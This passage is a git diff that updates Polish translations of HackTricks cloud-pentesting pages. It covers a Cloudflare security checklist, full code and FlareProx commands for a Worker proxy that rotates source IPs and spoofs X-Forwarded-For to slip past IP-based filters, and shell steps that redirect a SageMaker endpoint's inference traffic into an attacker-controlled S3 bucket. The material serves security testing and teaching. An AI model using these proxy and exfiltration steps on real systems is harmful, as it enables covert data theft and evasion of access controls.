mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-ci-cd/cloudflare-security/cloudflare-workers
This commit is contained in:
@@ -1,14 +1,14 @@
|
||||
# Cloudflare Security
|
||||
# Cloudflare — Bezpieczeństwo
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
W koncie Cloudflare istnieją **ogólne ustawienia i usługi**, które można skonfigurować. Na tej stronie zamierzamy **analizować ustawienia związane z bezpieczeństwem w każdej sekcji:**
|
||||
W koncie Cloudflare istnieją pewne **ustawienia ogólne i usługi**, które można skonfigurować. Na tej stronie przeanalizujemy **ustawienia związane z bezpieczeństwem w każdej sekcji:**
|
||||
|
||||
<figure><img src="../../images/image (117).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Websites
|
||||
## Strony internetowe
|
||||
|
||||
Przejrzyj każde z:
|
||||
Przejrzyj każdą za pomocą:
|
||||
|
||||
{{#ref}}
|
||||
cloudflare-domains.md
|
||||
@@ -16,9 +16,9 @@ cloudflare-domains.md
|
||||
|
||||
### Domain Registration
|
||||
|
||||
- [ ] W **`Transfer Domains`** sprawdź, czy nie ma możliwości transferu żadnej domeny.
|
||||
- [ ] W sekcji **`Transfer Domains`** sprawdź, czy nie jest możliwe przeniesienie żadnej domeny.
|
||||
|
||||
Przejrzyj każde z:
|
||||
Przejrzyj każdą za pomocą:
|
||||
|
||||
{{#ref}}
|
||||
cloudflare-domains.md
|
||||
@@ -26,39 +26,45 @@ cloudflare-domains.md
|
||||
|
||||
## Analytics
|
||||
|
||||
_Nie mogłem znaleźć nic do sprawdzenia w przeglądzie bezpieczeństwa konfiguracji._
|
||||
_Nie znalazłem niczego do sprawdzenia w ramach przeglądu konfiguracji pod kątem bezpieczeństwa._
|
||||
|
||||
## Pages
|
||||
|
||||
Na każdej stronie Cloudflare:
|
||||
W przypadku każdej strony Pages Cloudflare:
|
||||
|
||||
- [ ] Sprawdź **wrażliwe informacje** w **`Build log`**.
|
||||
- [ ] Sprawdź **wrażliwe informacje** w **repozytorium Github** przypisanym do stron.
|
||||
- [ ] Sprawdź potencjalne naruszenie repozytorium github za pomocą **workflow command injection** lub kompromitacji `pull_request_target`. Więcej informacji na stronie [**Github Security page**](../github-security/).
|
||||
- [ ] Sprawdź **vulnerable functions** w katalogu `/fuctions` (jeśli istnieje), sprawdź **przekierowania** w pliku `_redirects` (jeśli istnieje) oraz **błędnie skonfigurowane nagłówki** w pliku `_headers` (jeśli istnieje).
|
||||
- [ ] Sprawdź **vulnerabilities** w **stronie internetowej** za pomocą **blackbox** lub **whitebox**, jeśli możesz **uzyskać dostęp do kodu**.
|
||||
- [ ] W szczegółach każdej strony `/<page_id>/pages/view/blocklist/settings/functions`. Sprawdź **wrażliwe informacje** w **`Environment variables`**.
|
||||
- [ ] W szczegółach strony sprawdź również **komendę budowy** i **katalog główny** pod kątem **potencjalnych wstrzyknięć**, które mogą skompromitować stronę.
|
||||
- [ ] Sprawdź obecność **poufnych informacji** w **`Build log`**.
|
||||
- [ ] Sprawdź obecność **poufnych informacji** w przypisanym do Pages repozytorium Github.
|
||||
- [ ] Sprawdź możliwość kompromitacji repo przez **workflow command injection** lub kompromitację `pull_request_target`. Więcej informacji na [**Github Security page**](../github-security/index.html).
|
||||
- [ ] Sprawdź, czy w katalogu `/fuctions` (jeśli istnieje) nie ma podatnych funkcji; sprawdź przekierowania w pliku `_redirects` (jeśli istnieje) i niepoprawnie skonfigurowane nagłówki w pliku `_headers` (jeśli istnieje).
|
||||
- [ ] Sprawdź, czy na stronie nie ma **luk** używając podejścia **blackbox** lub **whitebox**, jeśli masz **dostęp do kodu**.
|
||||
- [ ] W szczegółach każdej strony `/<page_id>/pages/view/blocklist/settings/functions` sprawdź obecność **poufnych informacji** w **`Environment variables`**.
|
||||
- [ ] Na stronie szczegółów sprawdź także **build command** i **root directory** pod kątem **potencjalnych injections** mogących skompromitować stronę.
|
||||
|
||||
## **Workers**
|
||||
|
||||
Na każdym workerze Cloudflare sprawdź:
|
||||
W przypadku każdego workera Cloudflare sprawdź:
|
||||
|
||||
- [ ] Wyzwalacze: Co powoduje wyzwolenie workera? Czy **użytkownik może wysłać dane**, które będą **używane** przez workera?
|
||||
- [ ] W **`Settings`**, sprawdź **`Variables`** zawierające **wrażliwe informacje**.
|
||||
- [ ] Sprawdź **kod workera** i poszukaj **vulnerabilities** (szczególnie w miejscach, gdzie użytkownik może zarządzać danymi wejściowymi).
|
||||
- Sprawdź SSRFs zwracających wskazaną stronę, którą możesz kontrolować.
|
||||
- Sprawdź XSSy wykonujące JS wewnątrz obrazu svg.
|
||||
- Możliwe, że worker wchodzi w interakcję z innymi wewnętrznymi usługami. Na przykład, worker może wchodzić w interakcję z bucketem R2 przechowującym informacje uzyskane z danych wejściowych. W takim przypadku konieczne byłoby sprawdzenie, jakie możliwości ma worker nad bucketem R2 i jak można je wykorzystać na podstawie danych wejściowych użytkownika.
|
||||
- [ ] Wyzwalacze: Co powoduje uruchomienie workera? Czy **użytkownik może wysłać dane**, które będą **wykorzystane** przez workera?
|
||||
- [ ] W **`Settings`** sprawdź **`Variables`** zawierające **poufne informacje**.
|
||||
- [ ] Sprawdź **kod workera** i wyszukaj **luki** (zwłaszcza w miejscach, gdzie użytkownik może kontrolować dane wejściowe)
|
||||
- Sprawdź SSRF-y zwracające wskazaną stronę, którą możesz kontrolować
|
||||
- Sprawdź XSS-y wykonujące JS wewnątrz obrazka SVG
|
||||
- Możliwe, że worker komunikuje się z innymi wewnętrznymi usługami. Na przykład worker może operować na bucketcie R2, zapisując w nim informacje pozyskane z danych wejściowych. W takim przypadku konieczne jest sprawdzenie, jakie uprawnienia ma worker względem bucketu R2 i w jaki sposób można je nadużyć za pomocą danych wejściowych użytkownika.
|
||||
|
||||
> [!WARNING]
|
||||
> Zauważ, że domyślnie **Worker otrzymuje URL** taki jak `<worker-name>.<account>.workers.dev`. Użytkownik może ustawić go na **subdomenę**, ale zawsze możesz uzyskać do niego dostęp za pomocą tego **oryginalnego URL**, jeśli go znasz.
|
||||
> Zwróć uwagę, że domyślnie **Worker otrzymuje URL** takiego formatu `<worker-name>.<account>.workers.dev`. Użytkownik może ustawić subdomenę, ale zawsze możesz uzyskać dostęp do tej **oryginalnej URL**, jeśli ją znasz.
|
||||
|
||||
W praktycznym wykorzystaniu Workers jako pass-through proxy (rotacja IP, FireProx-style), sprawdź:
|
||||
|
||||
{{#ref}}
|
||||
cloudflare-workers-pass-through-proxy-ip-rotation.md
|
||||
{{#endref}}
|
||||
|
||||
## R2
|
||||
|
||||
Na każdym buckecie R2 sprawdź:
|
||||
W przypadku każdego bucketu R2 sprawdź:
|
||||
|
||||
- [ ] Skonfiguruj **CORS Policy**.
|
||||
- [ ] Skonfiguruj **politykę CORS**.
|
||||
|
||||
## Stream
|
||||
|
||||
@@ -70,8 +76,8 @@ TODO
|
||||
|
||||
## Security Center
|
||||
|
||||
- [ ] Jeśli to możliwe, uruchom skanowanie **`Security Insights`** i **`Infrastructure`**, ponieważ podkreślą one interesujące informacje **z punktu widzenia bezpieczeństwa**.
|
||||
- [ ] Po prostu **sprawdź te informacje** pod kątem błędnych konfiguracji bezpieczeństwa i interesujących informacji.
|
||||
- [ ] Jeśli to możliwe, uruchom skan **`Security Insights`** oraz skan **`Infrastructure`**, ponieważ podświetlą one interesujące informacje z punktu widzenia bezpieczeństwa.
|
||||
- [ ] Po prostu **sprawdź te informacje** pod kątem nieprawidłowych konfiguracji bezpieczeństwa i interesujących danych
|
||||
|
||||
## Turnstile
|
||||
|
||||
@@ -86,14 +92,14 @@ cloudflare-zero-trust-network.md
|
||||
## Bulk Redirects
|
||||
|
||||
> [!NOTE]
|
||||
> W przeciwieństwie do [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) są zasadniczo statyczne — nie obsługują **żadnych operacji zastępowania ciągów** ani wyrażeń regularnych. Możesz jednak skonfigurować parametry przekierowania URL, które wpływają na ich zachowanie w zakresie dopasowywania URL i ich zachowanie w czasie wykonywania.
|
||||
> W przeciwieństwie do [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) są zasadniczo statyczne — nie obsługują operacji **zamiany ciągów znaków** ani wyrażeń regularnych. Jednak możesz skonfigurować parametry przekierowań URL, które wpływają na zachowanie dopasowywania URL i ich działanie w czasie wykonywania.
|
||||
|
||||
- [ ] Sprawdź, czy **wyrażenia** i **wymagania** dla przekierowań **mają sens**.
|
||||
- [ ] Sprawdź również **wrażliwe ukryte punkty końcowe**, które zawierają interesujące informacje.
|
||||
- [ ] Sprawdź, czy **wyrażenia** i **wymagania** dotyczące przekierowań **mają sens**.
|
||||
- [ ] Sprawdź także ukryte **poufne endpointy**, które mogą zawierać interesujące informacje.
|
||||
|
||||
## Notifications
|
||||
|
||||
- [ ] Sprawdź **powiadomienia**. Te powiadomienia są zalecane dla bezpieczeństwa:
|
||||
- [ ] Sprawdź **powiadomienia**. Następujące powiadomienia są zalecane pod kątem bezpieczeństwa:
|
||||
- `Usage Based Billing`
|
||||
- `HTTP DDoS Attack Alert`
|
||||
- `Layer 3/4 DDoS Attack Alert`
|
||||
@@ -113,21 +119,21 @@ cloudflare-zero-trust-network.md
|
||||
- `Script Monitor New Script Exceeds Max URL Length Alert`
|
||||
- `Advanced Security Events Alert`
|
||||
- `Security Events Alert`
|
||||
- [ ] Sprawdź wszystkie **destynacje**, ponieważ mogą zawierać **wrażliwe informacje** (podstawowa autoryzacja http) w adresach URL webhooków. Upewnij się również, że adresy URL webhooków używają **HTTPS**.
|
||||
- [ ] Jako dodatkowe sprawdzenie, możesz spróbować **podszyć się pod powiadomienie cloudflare** do osoby trzeciej, może w jakiś sposób **wstrzykniesz coś niebezpiecznego**.
|
||||
- [ ] Sprawdź wszystkie **destinations**, ponieważ w webhook URL-ach mogą znajdować się **poufne informacje** (basic http auth). Upewnij się także, że webhook URL-e używają **HTTPS**
|
||||
- [ ] Jako dodatkową kontrolę możesz spróbować **podszyć się pod powiadomienie Cloudflare** wysłane do strony trzeciej — być może uda Ci się w ten sposób **wstrzyknąć coś niebezpiecznego**
|
||||
|
||||
## Manage Account
|
||||
## Zarządzanie kontem
|
||||
|
||||
- [ ] Możliwe jest zobaczenie **ostatnich 4 cyfr karty kredytowej**, **daty ważności** i **adresu rozliczeniowego** w **`Billing` -> `Payment info`**.
|
||||
- [ ] Możliwe jest zobaczenie **rodzaju planu** używanego w koncie w **`Billing` -> `Subscriptions`**.
|
||||
- [ ] W **`Members`** można zobaczyć wszystkich członków konta i ich **rolę**. Zauważ, że jeśli rodzaj planu nie jest Enterprise, istnieją tylko 2 role: Administrator i Super Administrator. Ale jeśli używany **plan to Enterprise**, [**więcej ról**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) może być używanych w celu przestrzegania zasady najmniejszych uprawnień.
|
||||
- Dlatego, gdy tylko to możliwe, **zaleca się** korzystanie z **planu Enterprise**.
|
||||
- [ ] W członkach można sprawdzić, którzy **członkowie** mają **włączoną 2FA**. **Każdy** użytkownik powinien mieć to włączone.
|
||||
- [ ] Możliwe jest zobaczenie **ostatnich 4 cyfr karty**, daty **ważności** oraz **adresu rozliczeniowego** w **`Billing` -> `Payment info`**.
|
||||
- [ ] Można zobaczyć **typ planu** używanego na koncie w **`Billing` -> `Subscriptions`**.
|
||||
- [ ] W **`Members`** można zobaczyć wszystkich członków konta i ich **role**. Zauważ, że jeśli typ planu nie jest Enterprise, istnieją tylko 2 role: Administrator i Super Administrator. Jednak jeśli używany **plan jest Enterprise**, można użyć [**bardziej szczegółowych ról**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/), aby stosować zasadę najmniejszych uprawnień.
|
||||
- W związku z tym, gdy to możliwe, zalecane jest korzystanie z **planu Enterprise**.
|
||||
- [ ] W Members można sprawdzić, którzy **członkowie** mają włączone **2FA**. **Każdy** użytkownik powinien mieć to włączone.
|
||||
|
||||
> [!NOTE]
|
||||
> Zauważ, że na szczęście rola **`Administrator`** nie daje uprawnień do zarządzania członkostwem (**nie może podnieść uprawnień ani zapraszać** nowych członków).
|
||||
> Na szczęście rola **`Administrator`** nie daje uprawnień do zarządzania członkostwem (**nie może eskalować uprawnień ani zapraszać** nowych członków)
|
||||
|
||||
## DDoS Investigation
|
||||
## Dochodzenie DDoS
|
||||
|
||||
[Sprawdź tę część](cloudflare-domains.md#cloudflare-ddos-protection).
|
||||
|
||||
|
||||
+286
@@ -0,0 +1,286 @@
|
||||
# Wykorzystywanie Cloudflare Workers jako pass-through proxies (IP rotation, FireProx-style)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Cloudflare Workers mogą być wdrożone jako przezroczyste HTTP pass-through proxies, gdzie upstream target URL jest dostarczany przez klienta. Żądania wychodzą z sieci Cloudflare, więc docelowy serwer widzi Cloudflare IPs zamiast adresu klienta. To odzwierciedla znaną technikę FireProx na AWS API Gateway, lecz wykorzystuje Cloudflare Workers.
|
||||
|
||||
### Key capabilities
|
||||
- Obsługa wszystkich metod HTTP (GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD)
|
||||
- Target może być dostarczony przez parametr zapytania (?url=...), nagłówek (X-Target-URL), lub nawet zakodowany w ścieżce (np. /https://target)
|
||||
- Nagłówki i body są przekazywane przez proxy z filtrowaniem hop-by-hop/nagłówków w razie potrzeby
|
||||
- Odpowiedzi są przekazywane z powrotem, zachowując kod statusu i większość nagłówków
|
||||
- Opcjonalne podszywanie się pod X-Forwarded-For (jeśli Worker ustawia go z nagłówka kontrolowanego przez użytkownika)
|
||||
- Bardzo szybka/łatwa rotacja przez wdrażanie wielu endpointów Worker i rozsyłanie żądań
|
||||
|
||||
### How it works (flow)
|
||||
1) Klient wysyła żądanie HTTP do URL Workera (`<name>.<account>.workers.dev` lub trasa na niestandardowej domenie).
|
||||
2) Worker wyciąga target z parametru zapytania (?url=...), nagłówka X-Target-URL lub segmentu ścieżki jeśli zaimplementowano.
|
||||
3) Worker przekazuje przychodzącą metodę, nagłówki i body do określonego upstream URL (filtrowanie problematycznych nagłówków).
|
||||
4) Odpowiedź upstream jest przesyłana strumieniowo z powrotem do klienta przez Cloudflare; origin widzi Cloudflare egress IPs.
|
||||
|
||||
### Worker implementation example
|
||||
- Odczytuje target URL z parametru zapytania, nagłówka lub ścieżki
|
||||
- Kopiuje bezpieczny podzbiór nagłówków i przesyła oryginalną metodę/body
|
||||
- Opcjonalnie ustawia X-Forwarded-For używając nagłówka kontrolowanego przez użytkownika (X-My-X-Forwarded-For) lub losowego IP
|
||||
- Dodaje permisywne CORS i obsługuje preflight
|
||||
|
||||
<details>
|
||||
<summary>Przykładowy Worker (JavaScript) do pass-through proxying</summary>
|
||||
```javascript
|
||||
/**
|
||||
* Minimal Worker pass-through proxy
|
||||
* - Target URL from ?url=, X-Target-URL, or /https://...
|
||||
* - Proxies method/headers/body to upstream; relays response
|
||||
*/
|
||||
addEventListener('fetch', event => {
|
||||
event.respondWith(handleRequest(event.request))
|
||||
})
|
||||
|
||||
async function handleRequest(request) {
|
||||
try {
|
||||
const url = new URL(request.url)
|
||||
const targetUrl = getTargetUrl(url, request.headers)
|
||||
|
||||
if (!targetUrl) {
|
||||
return errorJSON('No target URL specified', 400, {
|
||||
usage: {
|
||||
query_param: '?url=https://example.com',
|
||||
header: 'X-Target-URL: https://example.com',
|
||||
path: '/https://example.com'
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
let target
|
||||
try { target = new URL(targetUrl) } catch (e) {
|
||||
return errorJSON('Invalid target URL', 400, { provided: targetUrl })
|
||||
}
|
||||
|
||||
// Forward original query params except control ones
|
||||
const passthru = new URLSearchParams()
|
||||
for (const [k, v] of url.searchParams) {
|
||||
if (!['url', '_cb', '_t'].includes(k)) passthru.append(k, v)
|
||||
}
|
||||
if (passthru.toString()) target.search = passthru.toString()
|
||||
|
||||
// Build proxied request
|
||||
const proxyReq = buildProxyRequest(request, target)
|
||||
const upstream = await fetch(proxyReq)
|
||||
|
||||
return buildProxyResponse(upstream, request.method)
|
||||
} catch (error) {
|
||||
return errorJSON('Proxy request failed', 500, {
|
||||
message: error.message,
|
||||
timestamp: new Date().toISOString()
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
function getTargetUrl(url, headers) {
|
||||
let t = url.searchParams.get('url') || headers.get('X-Target-URL')
|
||||
if (!t && url.pathname !== '/') {
|
||||
const p = url.pathname.slice(1)
|
||||
if (p.startsWith('http')) t = p
|
||||
}
|
||||
return t
|
||||
}
|
||||
|
||||
function buildProxyRequest(request, target) {
|
||||
const h = new Headers()
|
||||
const allow = [
|
||||
'accept','accept-language','accept-encoding','authorization',
|
||||
'cache-control','content-type','origin','referer','user-agent'
|
||||
]
|
||||
for (const [k, v] of request.headers) {
|
||||
if (allow.includes(k.toLowerCase())) h.set(k, v)
|
||||
}
|
||||
h.set('Host', target.hostname)
|
||||
|
||||
// Optional: spoof X-Forwarded-For if provided
|
||||
const spoof = request.headers.get('X-My-X-Forwarded-For')
|
||||
h.set('X-Forwarded-For', spoof || randomIP())
|
||||
|
||||
return new Request(target.toString(), {
|
||||
method: request.method,
|
||||
headers: h,
|
||||
body: ['GET','HEAD'].includes(request.method) ? null : request.body
|
||||
})
|
||||
}
|
||||
|
||||
function buildProxyResponse(resp, method) {
|
||||
const h = new Headers()
|
||||
for (const [k, v] of resp.headers) {
|
||||
if (!['content-encoding','content-length','transfer-encoding'].includes(k.toLowerCase())) {
|
||||
h.set(k, v)
|
||||
}
|
||||
}
|
||||
// Permissive CORS for tooling convenience
|
||||
h.set('Access-Control-Allow-Origin', '*')
|
||||
h.set('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS, PATCH, HEAD')
|
||||
h.set('Access-Control-Allow-Headers', '*')
|
||||
|
||||
if (method === 'OPTIONS') return new Response(null, { status: 204, headers: h })
|
||||
return new Response(resp.body, { status: resp.status, statusText: resp.statusText, headers: h })
|
||||
}
|
||||
|
||||
function errorJSON(msg, status=400, extra={}) {
|
||||
return new Response(JSON.stringify({ error: msg, ...extra }), {
|
||||
status, headers: { 'Content-Type': 'application/json' }
|
||||
})
|
||||
}
|
||||
|
||||
function randomIP() { return [1,2,3,4].map(() => Math.floor(Math.random()*255)+1).join('.') }
|
||||
```
|
||||
</details>
|
||||
|
||||
### Automatyzacja wdrażania i rotacji za pomocą FlareProx
|
||||
|
||||
FlareProx to narzędzie Python, które używa Cloudflare API do wdrożenia wielu Worker endpoints i rotowania pomiędzy nimi. Zapewnia to FireProx-like IP rotation z sieci Cloudflare.
|
||||
|
||||
Konfiguracja
|
||||
1) Utwórz Cloudflare API Token, korzystając z szablonu “Edit Cloudflare Workers”, i pobierz swój Account ID z dashboardu.
|
||||
2) Skonfiguruj FlareProx:
|
||||
```bash
|
||||
git clone https://github.com/MrTurvey/flareprox
|
||||
cd flareprox
|
||||
pip install -r requirements.txt
|
||||
```
|
||||
**Utwórz plik konfiguracyjny flareprox.json:**
|
||||
```json
|
||||
{
|
||||
"cloudflare": {
|
||||
"api_token": "your_cloudflare_api_token",
|
||||
"account_id": "your_cloudflare_account_id"
|
||||
}
|
||||
}
|
||||
```
|
||||
**Użycie CLI**
|
||||
|
||||
- Utwórz N Worker proxies:
|
||||
```bash
|
||||
python3 flareprox.py create --count 2
|
||||
```
|
||||
- Wymień endpoints:
|
||||
```bash
|
||||
python3 flareprox.py list
|
||||
```
|
||||
- Punkty końcowe Health-test:
|
||||
```bash
|
||||
python3 flareprox.py test
|
||||
```
|
||||
- Usuń wszystkie endpoints:
|
||||
```bash
|
||||
python3 flareprox.py cleanup
|
||||
```
|
||||
**Przekierowywanie ruchu przez Worker**
|
||||
- Forma parametru zapytania:
|
||||
```bash
|
||||
curl "https://your-worker.account.workers.dev?url=https://httpbin.org/ip"
|
||||
```
|
||||
- Forma nagłówka:
|
||||
```bash
|
||||
curl -H "X-Target-URL: https://httpbin.org/ip" https://your-worker.account.workers.dev
|
||||
```
|
||||
- Forma ścieżki (jeśli zaimplementowano):
|
||||
```bash
|
||||
curl https://your-worker.account.workers.dev/https://httpbin.org/ip
|
||||
```
|
||||
- Przykłady metod:
|
||||
```bash
|
||||
# GET
|
||||
curl "https://your-worker.account.workers.dev?url=https://httpbin.org/get"
|
||||
|
||||
# POST (form)
|
||||
curl -X POST -d "username=admin" \
|
||||
"https://your-worker.account.workers.dev?url=https://httpbin.org/post"
|
||||
|
||||
# PUT (JSON)
|
||||
curl -X PUT -d '{"username":"admin"}' -H "Content-Type: application/json" \
|
||||
"https://your-worker.account.workers.dev?url=https://httpbin.org/put"
|
||||
|
||||
# DELETE
|
||||
curl -X DELETE \
|
||||
"https://your-worker.account.workers.dev?url=https://httpbin.org/delete"
|
||||
```
|
||||
**`X-Forwarded-For` kontrola**
|
||||
|
||||
Jeśli Worker honoruje `X-My-X-Forwarded-For`, możesz wpłynąć na wartość `X-Forwarded-For` wysyłaną do upstream:
|
||||
```bash
|
||||
curl -H "X-My-X-Forwarded-For: 203.0.113.10" \
|
||||
"https://your-worker.account.workers.dev?url=https://httpbin.org/headers"
|
||||
```
|
||||
**Użycie programistyczne**
|
||||
|
||||
Użyj biblioteki FlareProx do tworzenia/listowania/testowania endpoints i kierowania żądań z Pythona.
|
||||
|
||||
<details>
|
||||
<summary>Przykład w Pythonie: Wyślij POST przez losowy Worker endpoint</summary>
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from flareprox import FlareProx, FlareProxError
|
||||
import json
|
||||
|
||||
# Initialize
|
||||
flareprox = FlareProx(config_file="flareprox.json")
|
||||
if not flareprox.is_configured:
|
||||
print("FlareProx not configured. Run: python3 flareprox.py config")
|
||||
exit(1)
|
||||
|
||||
# Ensure endpoints exist
|
||||
endpoints = flareprox.sync_endpoints()
|
||||
if not endpoints:
|
||||
print("Creating proxy endpoints...")
|
||||
flareprox.create_proxies(count=2)
|
||||
|
||||
# Make a POST request through a random endpoint
|
||||
try:
|
||||
post_data = json.dumps({
|
||||
"username": "testuser",
|
||||
"message": "Hello from FlareProx!",
|
||||
"timestamp": "2025-01-01T12:00:00Z"
|
||||
})
|
||||
|
||||
headers = {
|
||||
"Content-Type": "application/json",
|
||||
"User-Agent": "FlareProx-Client/1.0"
|
||||
}
|
||||
|
||||
response = flareprox.redirect_request(
|
||||
target_url="https://httpbin.org/post",
|
||||
method="POST",
|
||||
headers=headers,
|
||||
data=post_data
|
||||
)
|
||||
|
||||
if response.status_code == 200:
|
||||
result = response.json()
|
||||
print("✓ POST successful via FlareProx")
|
||||
print(f"Origin IP: {result.get('origin', 'unknown')}")
|
||||
print(f"Posted data: {result.get('json', {})}")
|
||||
else:
|
||||
print(f"Request failed with status: {response.status_code}")
|
||||
|
||||
except FlareProxError as e:
|
||||
print(f"FlareProx error: {e}")
|
||||
except Exception as e:
|
||||
print(f"Request error: {e}")
|
||||
```
|
||||
</details>
|
||||
|
||||
**Integracja z Burp/Scanner**
|
||||
- Skieruj narzędzia (np. Burp Suite) na Worker URL.
|
||||
- Podaj rzeczywisty upstream używając ?url= lub X-Target-URL.
|
||||
- Semantyka HTTP (methods/headers/body) jest zachowana, przy jednoczesnym maskowaniu Twojego adresu IP źródłowego za Cloudflare.
|
||||
|
||||
**Uwagi operacyjne i ograniczenia**
|
||||
- Cloudflare Workers Free plan umożliwia w przybliżeniu 100,000 requests/day na konto; użyj wielu endpointów, aby rozłożyć ruch w razie potrzeby.
|
||||
- Workers działają w sieci Cloudflare; wiele targets zobaczy tylko Cloudflare IPs/ASN, co może obejść naiwne listy allow/deny oparte na IP lub heurystyki geolokalizacyjne.
|
||||
- Używaj odpowiedzialnie i tylko za zgodą. Szanuj ToS i robots.txt.
|
||||
|
||||
## Referencje
|
||||
- [FlareProx (Cloudflare Workers pass-through/rotation)](https://github.com/MrTurvey/flareprox)
|
||||
- [Cloudflare Workers fetch() API](https://developers.cloudflare.com/workers/runtime-apis/fetch/)
|
||||
- [Cloudflare Workers pricing and free tier](https://developers.cloudflare.com/workers/platform/pricing/)
|
||||
- [FireProx (AWS API Gateway)](https://github.com/ustayready/fireprox)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
+39
-38
@@ -4,16 +4,16 @@
|
||||
|
||||
## SageMaker endpoint data siphon via UpdateEndpoint DataCaptureConfig
|
||||
|
||||
Nadużyj zarządzania endpointami SageMaker, aby włączyć pełne przechwytywanie request/response do kontrolowanego przez atakującego S3 bucketu bez modyfikacji modelu lub kontenera. Wykorzystuje zero/low‑downtime rolling update i wymaga jedynie uprawnień do zarządzania endpointem.
|
||||
Wykorzystaj zarządzanie endpointami SageMaker, aby włączyć pełne przechwytywanie request/response do kontrolowanego przez atakującego bucketu S3 bez modyfikowania modelu ani kontenera. Wykorzystuje rolling update o zerowym/małym przestoju i wymaga jedynie uprawnień do zarządzania endpointami.
|
||||
|
||||
### Wymagania
|
||||
### Requirements
|
||||
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
|
||||
- S3: `s3:CreateBucket` (lub użyj istniejącego bucketu w tym samym koncie)
|
||||
- Opcjonalnie (jeśli używasz SSE‑KMS): `kms:Encrypt` na wybranym CMK
|
||||
- Cel: Istniejący InService real‑time endpoint w tym samym koncie/regionie
|
||||
- Optional (if using SSE‑KMS): `kms:Encrypt` on the chosen CMK
|
||||
- Target: istniejący InService real‑time endpoint w tym samym koncie/regionie
|
||||
|
||||
### Kroki
|
||||
1) Zidentyfikuj endpoint o statusie InService i zbierz aktualne warianty produkcyjne
|
||||
### Steps
|
||||
1) Zidentyfikuj endpoint InService i zbierz aktualne warianty produkcyjne
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
|
||||
@@ -22,15 +22,15 @@ CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --q
|
||||
echo "EndpointConfig=$CFG"
|
||||
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
|
||||
```
|
||||
2) Przygotuj attacker S3 jako miejsce docelowe dla przechwyceń
|
||||
2) Przygotuj docelowe miejsce attacker S3 dla captures
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-capture-$ACC-$(date +%s)
|
||||
aws s3 mb s3://$BUCKET --region $REGION
|
||||
```
|
||||
3) Utwórz nowy EndpointConfig, który zachowuje te same variants, ale włącza DataCapture do attacker bucket
|
||||
3) Utwórz nowy EndpointConfig, który zachowuje te same warianty, ale włącza DataCapture do attacker bucket
|
||||
|
||||
Uwaga: Użyj jawnych content types, które spełniają walidację CLI.
|
||||
Uwaga: Użyj jawnych typów treści, które spełniają walidację CLI.
|
||||
```bash
|
||||
NEWCFG=${CFG}-dc
|
||||
cat > /tmp/dc.json << JSON
|
||||
@@ -54,37 +54,37 @@ aws sagemaker create-endpoint-config \
|
||||
--production-variants file:///tmp/pv.json \
|
||||
--data-capture-config file:///tmp/dc.json
|
||||
```
|
||||
4) Zastosuj nową konfigurację przy użyciu rolling update (minimalne/brak przestojów)
|
||||
4) Zastosuj nową konfigurację za pomocą rolling update (minimalne/brak przestojów)
|
||||
```bash
|
||||
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
|
||||
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
|
||||
```
|
||||
5) Wygeneruj co najmniej jedno wywołanie inferencyjne (opcjonalne, jeśli istnieje ruch w czasie rzeczywistym)
|
||||
5) Wygeneruj co najmniej jedno wywołanie inferencji (opcjonalne, jeśli istnieje ruch na żywo)
|
||||
```bash
|
||||
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
|
||||
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
|
||||
--content-type application/json --accept application/json \
|
||||
--body fileb:///tmp/payload.json /tmp/out.bin || true
|
||||
```
|
||||
6) Zweryfikuj przechwycone pliki w S3 atakującego
|
||||
6) Zweryfikuj captures w attacker S3
|
||||
```bash
|
||||
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
|
||||
```
|
||||
### Impact
|
||||
- Pełna eksfiltracja ładunków żądań i odpowiedzi inferencji w czasie rzeczywistym (oraz metadanych) z docelowego endpointu do kontrolowanego przez atakującego S3 bucket.
|
||||
- Brak zmian w obrazie modelu/container i jedynie zmiany na poziomie endpointu, co umożliwia ukrytą ścieżkę wykradania danych przy minimalnym zakłóceniu operacyjnym.
|
||||
### Wpływ
|
||||
- Pełna eksfiltracja danych żądań i odpowiedzi inferencji w czasie rzeczywistym (oraz metadanych) z docelowego endpointu do kontrolowanego przez atakującego S3 bucket.
|
||||
- Brak zmian w obrazie modelu/kontenera i tylko zmiany na poziomie endpointu, co umożliwia ukrytą ścieżkę kradzieży danych przy minimalnym zakłóceniu operacyjnym.
|
||||
|
||||
|
||||
## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig
|
||||
|
||||
